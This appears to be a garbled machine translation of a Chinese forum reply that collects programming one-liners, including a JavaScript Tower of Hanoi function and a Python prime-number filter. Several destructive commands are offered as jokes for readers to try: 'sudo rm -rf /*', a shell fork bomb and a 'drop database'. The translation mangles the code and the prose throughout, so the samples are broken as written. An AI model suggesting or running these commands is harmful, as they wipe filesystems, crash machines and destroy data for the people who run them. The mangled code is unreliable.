Reply content:
JS 115-Character Hanoi algorithm
n=4; (function m (n,f,t,s) {if (n>1| | Console.log (f+ ' > ' +t)) {s=6-f-t;m (n-1,f,s); Console.log (f+ ' > ' +t); M (N-1,s,t)}}) (n,1,3)
By changing the value of the first variable n, you can change the order of the Hanoi.
The following are the effects that run in the browser console
sudo rm-rf/*
The master must try, the effect tension pile print '. Join (Map (Str,filter (lambda x:not[x%i for I in range (2,x/2+1) If x%i = 0],range (2,101)))
A python line of code solves 1-100 of all prime numbers solved. Efficiency I haven't tested it, I wrote it in the pythontips answer.
-----------------
Praise, thank you son Chima test, performance is not good, 10000 within the relatively fast, 10 0000 or more is not good to make
Thanks to at sack (at not, the knowledge of the search function is a bit weak ~), lambda x:not any (x%i for I in range (2,X/2)), y with any () is also very good, any () support python2.5 version ZSHRC the various aliasp Rint ("awesome") drop Databasesave/write
Every time you finish the switch you have to knock, do not knock on white. Main () {main ();} Linux under Input:
:() {: |: &};
Then enter Mian ...